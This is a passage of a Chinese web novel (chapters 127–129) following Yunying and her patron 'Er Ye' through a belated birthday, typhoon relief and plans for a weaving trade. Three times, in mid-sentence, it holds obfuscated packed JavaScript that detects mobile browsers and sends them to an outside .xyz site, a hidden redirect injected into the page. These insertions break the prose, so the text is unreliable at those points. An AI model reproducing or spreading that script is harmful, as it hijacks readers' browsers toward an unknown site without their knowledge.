二爷应下来,走出去两步又回头问云莺,“待会一道用早膳。” 云莺忙点头,“好啊。” 她正要问问二爷今晚上能不能早些回来,她还等着给二爷做寿呢。 第127章 可真够能忍的 云莺和二爷一道用了晚膳,并顺利邀约二爷晚上早些回府。 二爷虽然不知道,云莺里葫芦里卖的什么药,但他也没多问,总归他也是想早些回来陪她的。既然她开口,他便更早些回来也无妨。 因为惦记着回府的事儿,二爷这一天效率很高。 他先是去县衙处理完今天的事情。 县衙这段时日倒是没什么大事要处理,最大的事儿,就是赈灾的粮食到了,如今正挨着乡镇发放。 这些粮食对于百姓来说,少的可怜,对于如今的窘况来说,也是杯水车薪。 好在,有这么些粮食,足够云归县短时间过度了。 二爷也不是没寻章知府索要过更多粮食,但今年整个岭南府都受灾严重。 云归县还算好的,譬如莲花县,飓风过后还发生了痢疾;更有距离海域较近的几个县城,受飓风影响更大,那几个县整个被水淹了,到如今洪水才刚刚退去,可这一季的粮食全没了,百姓十不存一。 情况就是这么个情况,二爷想索要更多的粮食不可能。如今勉强发下来这一批救济粮,也得省着用。至于用完之后……那只能自己想办法自救了。 也好在云归县这边虽有冬天,却很短暂。冬天只要仔细寻寻,也是能找到些吃的的,只要肯下苦功夫,活命不是问题。 二爷心中想着那为数不多的救济粮,再想想飓风带来的众多海货。 那些海货大多死了,但晒成干或用盐腌制起来,现在赶紧拉到别的州府去卖,也是能卖些银子的。届时将卖来的银子换成粗粮,这一季怎么也能混过去了。 想到干货海货,二爷本欲去看看修路情况的,又突然转了方向,往干货坊走去。 不料,距离干货坊还有好些距离,二爷就看见云莺与秋宁两人,正站在干货坊侧门位置说话。 秋宁先看见了二爷,她赶紧捅了捅云莺,“你看那边谁过来了。嘿嘿,你和二爷可真有默契,你这好不容易过来寻我一趟,结果二爷也踏足了这干货坊,你们俩是事前约好的,还是真这么心有灵犀?” “你别胡说,只是凑巧罢了。”云莺往二爷那边看去,就见二爷正好也在看着她。 二爷骑着马,很快到了云莺面前。他翻身下马,大步朝云莺走过来,蹙着眉,一脸不赞同的问,“怎么出门了?” 云莺支支吾吾,不想告诉二爷,她是出来给他寻摸生辰礼的。 她和穗儿、柳儿商量了好长时间,可除了寿面之外,再想不到别的东西。穗儿提议她们出来看看,柳儿则说,可以问问秋宁的意见,指不定秋宁会有什么想法。 云莺想想是这么个理,于是果断带着两个丫头出了门。 秋宁见到云莺来寻自己,还挺高兴的。 这是秋宁离开县衙后,两人第一次见面。本来秋宁都准备抱着云莺痛哭一场,再说说自己的近况了,结果云莺直接说明来意……唔,感动什么的都见鬼去吧。 两人叙了别情,正准备找个地方说话,结果二爷就来了。 二爷问云莺怎么出来了,云莺想给二爷个惊喜,自然不能告诉他,她是出门来给他找生辰礼的。可她也说过,之后不会再对他说谎。 云莺想了想便道,“我出来买东西。” 二爷问,“买什么?这边东西不太好,你若真需要什么,我让人从京城给你送来。” “可是我要的有些急,从京城送不太现实。好了,不说我了,二爷你不是去县衙了么,怎么又来干货坊了?” “此事说来话长,等回府后我再告诉你。” “那您先去忙,我不耽搁您时间了。” 二爷说了“好”,随即才将目光投向一边的秋宁。秋宁赶紧又给二爷行了个礼,不等二爷开口便保证说,“您放心,我保证照顾好云莺。” “她前些时日累病了,身体才刚恢复一些。你陪陪她,别让她在外边呆太长时间。” “好,好,奴婢都记下了。” 二爷交代完秋宁,又看向云莺,继而转身进了干货坊。 众人目送二爷走远,这才轻呼一口气。 秋宁抱着云莺大喘气,“二爷比之前气势更盛了,我险些被他吓的气都喘不上来了。” 云莺笑了,“二爷又不吃人,他即便气势大,也不会把你怎么样,你完全没必要那么害怕他。” 秋宁露出个龇牙咧嘴的表情来,“你不懂。” 云莺懂什么啊? 二爷对她宠的厉害,面对她时,眉目都是柔和的。可二爷看他们,视线却冷冷的,好似他们是什么碍事儿的货色一样,若不是教养使然,真恨不能踢一边去才好。 尤其她还爱缠着云莺,二爷在她面前,神色更不好看。 就像刚才,二爷那眉头拧成个疙瘩,嘴唇抿成一条直线。他居高临下俯视着她,那种威慑力,至今想想都让人害怕。 “好了,不说这些了。你刚才和我说,不知道给二爷送什么生辰礼,那我觉得,你不如给二爷送些笔墨纸砚?嘿,你上年给二爷送的那本书不就挺好的。” 云莺无语的说,“那书是我碰巧遇到了,我哪儿那么好运,每次都碰上那么好的东西 。至于买笔墨纸砚这些,云归县也没好的吧,即便有好的,想来也比不上京城送给二爷那些。” 她若买来送二爷,二爷怕是用不惯,所以这个建议pass。 秋宁又问,“那就买些书房用得着的摆件,让二爷看见那些摆件就能想到你。” “你是说笔架山还有古董花瓶那些么?先不说我买不买得起,你觉得这云归县有好的、能入二爷眼的么?我觉得没有啊。” “那不如送二爷些衣衫鞋袜……” “我的手艺你还不清楚?” …… 秋宁又提了好几样,都被云莺一一pass掉。 秋宁瞪着云莺,“这也不要,那也不行,不是二爷看不上,就是你买不起,那怎么办?嘿,要我说,干脆你也别找这些乱七八糟的东西了,你利索的把你自己打扮妥当,把你自己当礼物送给二爷得了。二爷不是生辰么,你给二爷多换几个花样……” “秋宁!你再口无遮拦,我下手了。” “我……” 云莺一把捂住秋宁的嘴,秋宁轻松挣脱开,“你还恼上了?这有什么可羞恼的?左右你们都在一起了,玩点花样又怎么了?之前嬷嬷不是教过我们么,别看男人外表看着正经,可实际上,那越正经的,胡闹起来才越厉害,唉,唔,唔……” 秋宁最终被云莺两手捂住了嘴巴,若不是怕她喘不上气,云莺恨不能连她鼻子一捂起来。 果然是秋宁啊。 什么话都敢说,什么馊主意都敢出。 这还是大街上呢,若是被人听了去,她们两个都不要做人了。 秋宁在云莺的威胁下,到底是闭上嘴。然而,云莺到底是羞的厉害,恼怒之下直接在秋宁背上拍了一下。 秋宁哀嚎一声,整个人都跳开了,哀怨的看着云莺说,“你打我做什么,我还不是为了你好。” 其实云莺拍那一下根本就不疼。 她才刚病过,都没修养过来,手脚无力的很。那一下她也收着力,因此别看来势汹汹,其实根本就不疼。 但秋宁怕云莺念叨她,就表现的很疼似的,以此来堵住云莺念叨她的嘴。 云莺果真不好意思数落她了,可想到秋宁说的话,云莺也面红耳赤。 “我和二爷,我们没有,没有……” 秋宁挑眉,“没有什么?” “没有在一起!” 秋宁挖挖耳朵,转转眼珠,舒尔想到什么,直接瞪大眼。“云莺你什么意思?你不会是在告诉我,你和二爷一直没睡过吧?” 云莺瞪一眼秋宁,秋宁赶紧拉着云莺进了屋。然后她直接掩上门,围着云莺团团转起来。 秋宁不敢置信,“二爷是不行么?不然放着你这么大个美人不睡,二爷怎么想的?” 不是二爷不动,是她明确拒绝了二爷。 但这话不好说出来,云莺就吭哧吭哧道,“二爷是正人君子。” “正人君子难道就不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642809|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人了?是男人怎么会没有欲望?要我说,二爷要么是不行,要么恐怕就是……” “就是什么?” “就是不喜欢女人,喜欢男人!” 云莺又扑上来,“祖宗,我喊你祖宗行么?你能不能悠着点,不要什么话都往外说?这院子可不是你自己住的,这里还有别人呢。你这话要是传到二爷耳朵里,你还能活么?” 秋宁支支吾吾,她能不能活,那不仅要看二爷的意思,不还得看云莺的意思么。 她就不相信了,依照二爷对云莺喜欢的劲儿,云莺若说点什么,二爷还真能要了她的小命。 秋宁有恃无恐,但她看云莺凶巴巴的,也不敢再挑衅她了。 不过二爷与云莺至今都没同房……啧啧,二爷可真够能忍的。 云莺又瞪了秋宁几眼,秋宁果断老实了。 事到如今云莺也看出来了,秋宁就是个不靠谱的,指望从她这里讨个主意,怕是不可能。 既然如此,云莺也不在这里浪费时间了。 她起身要走,秋宁出口挽留她,被云莺拒绝了。秋宁就念叨着,“你满心满眼都是二爷,你也不问问我什么情况。我们俩一个多月没见了,你都不想我,云莺你好狠的心。” 云莺被她念叨的心虚了,忙说,“我这不是整天忙么。好不容易忙完了吧,我这还病了。我不是不来看你,我是有心无力。” “行吧,行吧,不和你计较了。既然你今天赶时间,那我也不和你多说了。等过几天我抽出空来,我去看你,到时候我们俩好好说。” “行。” 对于秋宁的情况,云莺是不担心的。 许是一开始过来时她有过担心,可看见秋宁面色红润,人也看着比之前精神了些,她甚至还胖了,整个人也眉飞色舞好不爽利泼辣。这指定是没受委屈,即便受了委屈,也讨回来了,那云莺还担心什么? 云莺与秋宁往外走,期间秋宁还问云莺,“我要不要也给二爷送份生辰礼?” “你随意。” 秋宁琢磨琢磨,“我还是不送了吧。”她都从县衙出来了,都不是二爷的女人了,还给二爷送礼,外人看见不得以为她和二爷藕断丝连?再来,云 莺看见了,心里会舒坦么? 可话又说回来,二爷到底是她主子。她都没脱籍呢,全靠二爷开恩,她才能不拿赎身银子就跑出来潇洒痛快,她承了二爷的情,二爷生辰她不送点什么,那她不成白眼狼了么? 秋宁思来想去,最后拍板说,“我还是给二爷送个生辰礼吧。别的我不好送,我也没钱,我就给二爷送,送……” “送什么?” “我给二爷的坐骑送几车草料吧!” 云莺:“……” 云莺从未听过如此奇葩的言论,也从未见过如此奇葩的送礼方式。 她承认自己在秋宁这里受到了刺激,以至于走出大门后,也顾不得看看二爷是否还在这里,她迫不及待冲秋宁摆摆手,火速上了自己的马车,然后让驾车的车夫赶紧往远处行去。 再说云莺面色古怪的上了马车,穗儿见状,好奇心塞了满肚子。 穗儿到底是开口问云莺,“姑娘,您和秋宁姑娘说什么了?您……” “怎么了?” “您表情有些古怪。” “这么明显么?” 穗儿点头,“非常明显。” 云莺摸了摸脸,赶紧将面上的表情收了收。可想到秋宁的提议,云莺再次破功,面上的表情似哭非哭、似笑非笑,看起来非常古怪。 穗儿说,“看,您又开始了。” 云莺终于忍不住,笑出了声,“不是我古怪,是秋宁……” 云莺把秋宁的提议说出来,穗儿闻言面颊蛄蛹两下,然后,她到底是破了功,侧身过去捂着嘴哈哈笑起来。 “看吧,你也觉得秋宁搞笑吧。” 穗儿笑的眼泪都出来了,“确实是,秋宁姑娘怎么这么无厘头?二爷生辰呢,她要给二爷的坐骑送草料,秋宁姑娘这脑袋中,到底都装了什么东西。” 第128章 别想着反悔 云莺跑了半下午,到底是买到了满意的生辰礼,然后乘着马车回了县衙。 再说二爷,安排好诸人将干货坊的干货,尽快运到北方贩卖,并换成粗粮运回来后,二爷才从干货坊出来。 此时已经半下午了,云莺乘坐的那辆马车也早就消失在干活房门口。 二爷让人去问了几句,就得出云莺已经离开,往中心街去了。 二爷闻言,轻“呵”一声,也不知道她究竟要买什么,这么火急火燎的,走之前连个招呼都不打。 二爷边想着这件事,边翻身上了马。 随云也随之上了马,他问二爷道,“您说了,今天要早些回府,那咱们是现在回府,还是去别处转转?” 二爷考量到云莺去中心街了,那边街上开了许多铺子,勉强算是云归县最热闹的一条街。云莺去了,想来不会很快回来,那他这时候回府做什么? 二爷就说,“先不回了,咱们出城看看。” 那边的路昨天就修出去了老远,今天的进度应该更快,不知道修到哪里了。 二爷想着修路的事情,又想到,该开始招旷工了,回头就让随云去负责这件事。 二爷边想着这些七零八碎的杂事,边扯着马儿身上的缰绳,一夹马身疾驶出去。 二爷本是想看看修路的进程,之后就回府的。熟料出西城门不远处一段路上,出现了严重塌方。 二爷去的时候正好,负责此段路程的官员正好骑上马,准备回县衙禀告他此事。不想二爷恰好在此关头赶了过来,倒是省了大事。 塌方出现的猝不及防,好几个正在修路的青壮直接掉进了深坑里。也好在坑虽深,却没有将人掩埋,再加上坑里的泥土松软湿润,倒是没有出现人员伤亡。 但因为道路塌方,又查出此段路因为之前的飓风带来的降水过于充足,地下水饱和渗出,周围疏松土体中的土壤大量流失,形成了地下空洞,所以不仅这段路会塌方,往前百十米,都会出现这种情况。 这就不能按照既定计划,继续往前修路了。 毕竟云归县降水量充足,每年还都有台风光顾,即便勉强将这段路修好,想来之后再有频繁暴雨或台风,道路也会坍塌,导致延误矿物的运送。如此,为了免于之后来回返工,费钱费时费力,只能重新制定计划,选择从别处绕行。 二爷再次招来懂行的工匠开了个小会,让他们将选定的路段重新勘探,这次务必要确保沿途没有其他情况,等确定好万无一失了,再继续往前修。 至于眼下,修路的事情只能暂停。 因为此事耽搁了行程,等二爷回到府上,天都黑透了。 二爷急匆匆进了院子,一眼就看见站在花厅廊下的云莺。 院子里灯火通明,廊下也挂着几个大红灯笼。灯火摇曳下,她依栏而立,衣袂被烈风吹的飒飒作响。她不时往外看上几眼,神情茫然又平静,整个人缥缈似随时要化仙而去。 等看到他进了院子,她才瞬间被拉回这万丈红尘中。她一双顾盼生辉的杏眸登时亮起来,一双水润的红唇也勾勒起弯弯的弧度。 “可算是回来了。” 只是一句简单的话语,听在二爷耳中,却似有雷霆般的力量。 二爷心神鼓噪难耐,一颗心跳的几欲从破腔而出。 二爷走上前,目光深邃幽沉的看着她,声音微哑的说,“因为点事儿耽搁了,就回来晚了,让你久等了么?” “也没有,我也是刚出来。”云莺笑盈盈应了一声,随即似想到什么,她“哎呀”一声叫出来,“不说这些了二爷,你快去洗漱,我让小丫鬟们准备饭菜,咱们稍等等就开饭。” 二爷还有许多话要说,但在外边奔波一天,他身上确实沾染上许多灰尘。再加上之前检查道路渗水时,他还踩到了泥浆中。他一双靴子上都是泥土,裤子也湿了半截,这也就是天黑了看不见,不然可够不雅观的。 二爷应了下来,转身往房间去了。 净室中早就放置了浴桶,云莺还提前让人备好了热水在其中。如今那水变得温热,对于二爷来说倒是刚刚好。 将靴子、衣衫全都褪去,二爷踏进浴桶中,酣畅淋漓的洗了个澡。 等他一身清爽从浴桶中出来,披散着半湿的头发去了花厅,却见云莺并不在这里。 二爷蹙起眉头,问站在花厅伺候的柳儿,“你们姑娘……” 话还没说完,二爷就察觉到云莺的脚步声由远及近。 二爷往门口走两步,正想问云莺,天都黑了,她去哪里了,结果就见云莺手里端着一个托盘,她正小心翼翼往他这边来。 “胡闹,你大病初愈,谁让你做这些事情的?这府上这么多丫鬟,你不使唤她们,自己到做起活来,是嫌身上太舒坦了不是?” 二爷满含忧心的斥责了云莺几句,手上动作却不停。就见他直接从云莺手中接过托盘,自己端进了屋子,放到了圆桌上。 他只顾着忧心云莺,那托盘上的东西全然没在意。 云莺不妨二爷出来这么快,她原以为二爷还要洗一会儿呢。 不过被二爷撞见她也不怕,她笑盈盈的说,“也不重, 就是一碗面。我今天从外边回来后,休息了好半天,身上都有力气了。” “有力气了就继续养着,这些粗活交给丫鬟们做。” “知道了,知道了。以后都让丫鬟做,我就做这一次。这不是给您做的寿面么,我亲自做的,自然亲自端来更有诚意。您趁热吃,省的一会儿面坨了不好吃。” 二爷猛地顿住了,面上的表情也似有几分僵硬。 他垂首往桌上一看,花厅的桌子上已经放了好些菜肴。这些菜肴不论菜色还是摆盘,看起来都比往日更精致一些。再看他刚才接手的托盘中,可不正放着一碗色香味俱全的寿面。 那面应该是鸡汤做底,汤水清澈,闻着就让人口舌生津。再看面条,面条倒是有些粗细不均,细看有些像是初学者的手艺…… 二爷心思一动,黑眸看向云莺,“这面……你做的?” 云莺迟疑的点点头,有些赧然道,“是我擀的面,汤底则是灶娘一早就炖在灶台上的。” 云莺想说,她这是开天辟地头一回,能把面做成这样非常不容易了。那擀面杖使得不顺手,她磨得手心疼。一开始做的两张面饼都破破烂烂看着伤眼,眼前这碗面是第三张面饼做出来的。 她为了做这张面饼,手上都磨的起泡了,手腕也酸疼的很。刚才她还逞强要自己把碗端过来,这也幸好二爷及时接了一把,不然她真要叫穗儿来帮忙了。否则指不定都走不到屋里,这碗面就要进献给土地爷了。 心里这么想,这话云莺到底没说出来。 可她虽没说,面上却都是心有余悸的神色。 做面可太难了! 她不是这块料! 二爷何其精明一个人,几乎是一眼看透了云莺的心思。当即,他就心疼起来。 二爷抓起了云莺的手,云莺扯了两下没挣开。 二爷仔细看她的掌心,云莺的掌心细软白嫩,几道掌纹规矩有序的贯穿在掌心中。可这些二爷都没仔细看,他只注意到云莺掌心红彤彤的,右手掌心处还起了个泡。 “这是磨出的泡?” 云莺讪讪的笑了两声,“我太笨了,试了几次才勉强拿的出手。不过比之灶娘做的面,肯定也大有不如。二爷您多担待点,即便不好吃也多吃几口。这是我给您补的寿面呢。” 寿面…… 如今已十月,他的生辰确实过了。许是这场飓风让岭南府成了禁地,从京城来的生辰礼耽搁在路上。 不然,若非云莺提及,他还想不起他的生辰。 不过忘了就忘了,左右不是什么大事。 但她却特意给他补了寿面…… 二爷看着云莺,低低的“嗯”了声,嘴上说着,“等用过膳,我给你挑破了。” “那就不用了吧?” “要的。” 云莺赶紧点头,“好好好,您说什么就是什么。您赶紧用膳吧,要不然面真就坨了。” “坨了也不怕,我肯定吃完。” 云莺笑了,“也不是非要您吃完,你吃些是个意思就成。我的手艺真不好,您少吃点也无妨。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642810|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这次二爷没应,他拉着云莺在座位上坐下了。 二爷开始吃面,还一鼓作气将面吃完了。 其实本来面也不多,云莺担心二爷吃不惯她的手艺,准备的面只有很少的份量。她是这么想的,面不好吃,多吃些菜就好了…… 如今看二爷这么给面子,云莺突然就觉得,她做的面好像也没那么差。下次二爷生辰,她还给二爷做面。 吃过饭,云莺将给二爷的生辰礼拿出来。 那不是别的东西,乃是一条玉带。当然,称之为蹀躞带会更符合一些。 蹀躞带有些类似现代男人使用的腰带,只是在带板上会有铜环或挂钩,用来携带东西。 这是云莺千挑万选选出来的寿礼,整个云归县的店铺,她也就觉得这条蹀躞带最顺眼。 蹀躞带整体呈墨色,有成人两指宽。滚边的地方绣着吉祥云纹,中间带板上有八环两包。整体用犀牛皮采用特殊手法所制,看起来飒爽明利,却又典雅庄重。 云莺看见这条蹀躞带第一眼,脑海中就忍不住想起二爷穿着黑色或是红色的劲衣,将这条蹀躞带束在腰间的画面。 那种英姿勃发,短衣匹马的感觉顿时扑面而来,云莺只是想象着,就被二爷帅的流鼻血。 也是因此,虽然这条蹀躞带价值不菲,云莺也咬咬牙,将之买下来,作为生辰礼送给了二爷。 云莺心中对这条蹀躞带非常满意,可此刻看着二爷沉静的面色,她就忍不住惴惴:只顾着自己满意了,二爷是不是喜欢这件东西,她不知道啊。 好在,二爷面上的表情渐渐舒缓下来,甚至眸中还泛出笑意来。 云莺见状,一块石头落了地,高兴的想转圈圈。 二爷也喜欢她送出的礼物,她的心思没白费! 云莺凑到二爷跟前,眉眼弯弯的求证说,“您是喜欢的吧?” “喜欢。”二爷克制的又加上一句,“非常喜欢。” 二爷抬头看云莺,云莺只顾着欢喜,眸中却没别的意思。 二爷垂眸笑了。 他就知 道,她肯定不明白送男子蹀躞带的意思。 在京城,这是男女定亲后,女子用来送未婚夫的。 她呢,她那点心意藏着躲着都来不及,那会如此大喇喇的送他蹀躞带? 不过,既送给了他,她就别想着反悔了。 二爷郑重的拿了个盒子,将这蹀躞带收了起来。 云莺见状,一边觉得很受用,一边又奇怪。 二爷的玉带有很多,哪至于就这么稀罕这条蹀躞带? 虽然这蹀躞带是她送的,多少有些与众不同,但是,二爷这么看重她总觉得不太对。 仔细看二爷的神色,二爷的面色讳莫如深,云莺并看不出来什么。 但直觉总告诉她,似乎哪里有些不妥。 究竟是哪里不妥,云莺想了好大一会儿也没想起来。 最后,她索性不想了,只当是自己疑神疑鬼,很快就将这件事抛之脑后。 膳后,二爷提出去院子里转一转。 今天月色倒是很好,加上这会儿功夫,风竟然停了,云莺便颔首同意,与二爷一道走了出去。 但出门之前,二爷惦记着她的身子,到底是让人回屋给她拿了一条披风来。 云莺不想披,觉得碍事。二爷却不容置疑的握着她的肩膀,将她转过来,亲自给她披上披风,系上带子。 二爷的手无意间触碰到她的下颌,云莺强忍着没有后退,可她身体却绷的紧紧的,忍不住侧过头去。 好在,二爷只是无意的触碰了一下,他也很快帮她系好了带子,退开了些。 他们在院子里转了两圈,二爷给云莺说,他今天去干货坊的用意,又说修路遇上了塌方,现在工事暂停。 云莺则和二爷说,秋宁抱怨她不去看她,还说她今天逛街,发现铺子里多了许多紧俏货…… 两人你一言我一语,说了许多许多。 月亮高高的挂在两人头顶,偶尔一阵风吹来,两人的影子似缠绵在一起,此情此景,堪可入画。 第129章 打听 又几日,终于勘测完新的道路,修路的工事重新启动。 二爷这几天又开始频繁的外出。 云莺的身体好了几分,加上在府中也是无聊,她也出了几趟门。 云莺先是去找了秋宁,准备好好和她说说话,补上之前对她缺少的关心。 熟料去的不是时候,秋宁正忙的脚不沾地。 看见云莺过来,秋宁和云莺说,“这几天忙的要死,我都好几天没睡过一个整觉了。天天不忙到子时不能休息,早起鸡一叫又得赶紧起身。一天到晚睡不到两个时辰,你看我这黑眼圈都熬出来了。” 云莺这时候才猛地想起,之前二爷与她说过,已经交代干货坊的主事,将收来的干货,全都往北边送。 多少卖些银子,换些粗粮过来,让县里的百姓好歹熬过这一年。 等这一年过去,开了春,野菜野草全都长起来,那就再饿不死人了。 只是,这么几天过去了,这事儿怎么还没做完? “做完?你等着吧,这次怕是要忙到年根了。你不知道吧,这边的干货已经运出去一大部分了。可耐不住百姓穷的叮当响,他们知道这边不拘大小、不分种类,只要晒干的都收。恰现在也无事可做,百姓们就整天四处捞鱼捡海货捡山货,单是昨天一天,干货坊就收了二十大麻袋的干货。” 这些干货中,不仅有鱼虾和海产品,还有诸多栗子、菌菇等山货,甚至就连一些干药材,都有许多。 每天干货坊一开门,就有许多百姓一拥而入。 他们带来的东西多,干货坊的工人既要将其中不合格的捡出来,又要防止有些人趁乱作怪,就忙的停不下来。 就比如她,明明是来当监工的,可看着那么多人排队等验货收钱,也坐不住了,时不时就要走上去帮把手,可是把她累坏了。 秋宁和云莺说,“我感觉我这几天瘦了好多,我腰都细了,脸上肉也少了。你看看,我是不是变得比之前更好看了?” 云莺揪一下秋宁的脸,她的面颊确实没有以前圆润了。但是变好看……好像没有吧,她还是觉得那个圆圆脸,身材丰润,气色白里透红的秋宁更吸引人一些。 但这话云莺不敢说出来,怕秋宁打她。 云莺就说,“是更漂亮了,但是,我感觉你忙过这一阵,还是要多歇歇,好把身体养回来。你脸肉肉的时候看着更有福相,气色也红润饱满,让人看见就心情舒畅。身体到底是咱们自己的,不应该图漂亮刻意减重,不然好好的身体都祸害坏了” “是这样么?” “是这样的。” 才和秋宁说了几句话,那边就有人来喊秋宁。秋宁忙不迭应了几声,就催促云莺快回去,她要去忙了。 明明秋宁也很高兴这样有事情做,被人需要的感觉,可在云莺面前,她也忍不住嘀咕,“明明我是来做监工的,可现在我是什么事情都干。这些人啊,我都不能走开一会儿,走开一会儿他们就四处找我,好像少了我连活儿都不会干了。” “那还不是因为你太能干了。” “嘿嘿,你总算是说了句实在话。” 因为干货坊人实在太多,来卖干货的百姓也急着卖了货,去寻摸更多的物件来。云莺和秋宁不好多说话,两人便匆匆告别,各忙各的去的。 从秋宁这边离开,云莺回了府。翌日再次出门,却是直接往卖布匹和成衣的铺子去了。 云莺去成衣铺子,并不是要买成衣或布匹。 布匹她有许多,不拘是二爷送的,荣国公夫人送的,亦或是年节礼下边的人送的。她积攒了好些好些,足够她用一二十年的。 手上的布料多了,加上也是看不上云归县这边的衣物款式,云莺更多的时候,是自己画出自己想要的衣裳模样,让府里专门做针线的丫鬟做出成衣来。 她是不缺衣裳穿的,之所以今天专门往这铺子来一趟,是因为考虑到她早先的计划——茶山没有了,茶砖茶饼的买卖做不成了,但她总要做点什么事情消磨时间。 先不提梯田,梯田已经上了正轨,再没有需要她指点的地方。况且经过飓风一番施虐,梯田也被败坏了许多,今年确定不会有大收成。 不过该施的肥施了,该排的水排过了,涝死的秧苗已经拔去丢掉,虫也已经抓过了。 如今梯田上的庄稼,正在生长期,云莺即便想做些什么,也实在插不上手。如此,云莺又想起了,自己早先就打过主意的织布。 说起织布,先要提一下如今云归县百姓的衣着。 众所周知,云归县乃不毛之地,百姓们穷的叮当响。如此穷困的地方,百姓们肯定是穿不上丝绸和皮毛的。别说丝绸和皮毛了,甚至就连普通的粗布,百姓们都穿不起。 这里的百姓穿什么呢? 他们穿的主要是麻布和蓑衣。 麻布的主要产料是苎麻、亚麻、蕉麻、剑麻等。 因为原材料广泛,云归县的百姓穿麻布的较多。 但这种麻布有几个特别明显的缺点,就是质地粗糙、磨人皮肤,且经水洗后会缩水,穿在身上也皱皱巴巴的,非常不规整。 即便如此不好,麻布在云归县的 价格也很高,一般家庭甚至不能给家中每个成员准备一身麻布衣裳。 再说蓑衣。 蓑衣在云莺看来,主要是避雨用的。可在云归县的百姓眼中,这是他们过冬的衣物。 盖因为蓑衣大多用稻草和芦苇编制而成,具有一定的防水和防雪作用。同时,它还具有一定的保暖性,是穷苦百姓唯二可选择的过冬衣物。 之所以说唯二,是因为这时候还有一种纸裘。 纸裘是用楮树所制。以楮树皮为原料,经过蒸煮、调制、压实后制成衣物,这样的衣物柔韧、厚实、破了也容易修补。 但楮树总共就那么些,那耐得住那么多人去剥皮?一株楮树所产出的树皮,还做不出两身衣裳来,如此,这种纸裘虽有,但并不盛行。 再有就是在麻衣中塞入鸭毛、芦苇、麻絮做成类似的棉衣来取暖。 但这种方法也不盛行。 整个云归县,数来数去,最普遍的过冬衣着,还得是蓑衣。 蓑衣的制造很简单,只需要简单的编织。 麻衣稍微麻烦一些,它需要剥麻、绩纱以及织布。当然,麻布制出来后,是不是要脱胶、漂白、染色,这就全看个人意愿了。 总归云归县的百姓,是不会浪费那个银钱去给麻布漂白、染色的。这也就导致,放眼望去,街面上百姓的衣着,大都是米白色。 不说这些闲杂琐碎的事情,只说麻布的制造也会用到织机。云归县的织机,每次只能织出成人巴掌宽的布料来。非常麻烦费事不说,还非常浪费人的体力耐力,且耗损较大。 云莺想到做织布生意,首先想的就是改进织机。 她倒是也没本事,去把机器改造一下,但一些以纺织闻名的府城,应该会有更好的织机吧? 云莺在这上边完全是门外汉,即便看了许多书,但一些将机器制造的书本,又不会告诉你现在的织机,已经进化到何种程度了。 问二爷吧,二爷对这些事情也是一问三不知。没办法,云莺便想找专门做布料生意的店家打探打探,看如今世面上最流行的织机都有什么,在那个府城,价值几何,有何优劣。 出于这个考虑,云莺目标非常明显,今天出了门后,就直奔中心街的上的成衣铺子来了。 成衣铺子是一对夫妻经营的,当家的男人负责进货,女人则在店铺里售卖衣物。因为是小本生意,客人也不多,女人闲下来还要负责缝制售卖的成衣,也是忙个不停。 云莺进了店铺后,那贩卖衣物的成娘子,条件反射就热情满面的迎上来了。 可随即她就注意到云莺的穿着打扮……这姑娘穿着上等的提花丝绸所制的衣物,那丝绸是鹅黄色的,在阳光的照射下,泛出莹润绚丽的光芒来,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643507|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上边的提花繁复唯美,打眼一看就给人一种非常金贵的感觉。 确认了,这是一位绝对不会在她店里消费的姑娘。 心里这么想,成娘子的神色就有些颓败,对云莺也爱答不理起来。 穗儿和柳儿把这人的神态看在眼中,自然也看出了成娘子的慢待和不喜。两人蹙起眉,想说道几句,云莺却阻拦了她们,先一步开口问,“我与姐姐打听几个事儿,我不白耽搁姐姐的时间,给姐姐报酬的。” 真金白银直接亮出来,那成娘子由忧转喜,面上的神色立马就不同了。 但是,话说的好听,万一这姑娘是骗她的呢? 成娘子看着云莺,云莺知道这也是位不见兔子不撒鹰的主,便从何包中取出一两碎银子放在柜台上,“这是定金,若说的好,我再给姐姐一两。” “哎呦,姑娘有什么想问的,问就是了,怎么还客气起来?姑娘如此大方,倒让我不好意思了。” 话是这么说,这成娘子手上的动作却一点都不客气。就见她一把抓过柜台上的银子,在衣裳上擦了两把,随即还放在嘴巴里咬了一口。 碎银子上立马出现几个牙印凹痕,成娘子面上的笑容更灿烂了。 穗儿和柳儿看到此情此景,忍不住翻白眼。但她们到底是没说出什么过分的话来,毕竟若换做她们是成娘子,说不得比成娘子还市侩。 有了银子开路,接下来云莺要打听什么事情,成娘子知无不言、言无不尽。 成娘子也很快从云莺的问话中,窥出云莺的意思来。 这姑娘怕不是要引进织机,做织布的生意。 可是,这云归县没那么大的市场,更没那么多买家。 别看她开着店铺,好似有门正经的营生,日子也过的潇洒,可自家人知道自家事儿,她这店啊,挣得也就勉强够糊口。 